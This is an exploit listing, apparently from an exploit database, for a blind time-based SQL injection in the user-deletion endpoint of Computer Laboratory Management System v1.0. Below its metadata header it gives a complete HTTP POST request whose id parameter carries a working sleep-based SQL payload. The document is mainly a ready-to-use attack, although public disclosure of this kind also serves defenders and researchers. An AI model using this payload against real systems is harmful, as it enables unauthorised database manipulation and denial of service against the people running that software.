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## https://sploitus.com/exploit?id=PACKETSTORM:179286
# Exploit Title: Simple Laboratory Management System - Manual Blind Time Based SQL Injection  
# Exploit Description: A SQL Injection vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary SQL commands on the database server which causes the services to delay in response time.  
# Affected Asset: The "delete_users" function in Users.php inside the Computer Laboratory Management System v1.0 application is vulnerable to Blind Time Based SQL Injection.  
# Exploit Author: Smitha Bhabal  
# Date: 2024-06-30  
# Vendor Homepage: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip  
# Version: 1.0  
# Tested On: Windows 11 Home 22631.3737 + XAMPP 3.3.0 (April 6th 2021)  
# Reference: https://github.com/payloadbox/sql-injection-payload-list  
  
  
POST /php-lms/classes/Users.php?f=delete HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive  
Cookie: PHPSESSID=1bfs2uc82iaorimhamvfj2qi6u  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: none  
Sec-Fetch-User: ?1  
DNT: 1  
Sec-GPC: 1  
Priority: u=1  
Content-Length: 45  
Content-Type: application/x-www-form-urlencoded  
  
id=(select%20*%20from%20(select(sleep(20)))a)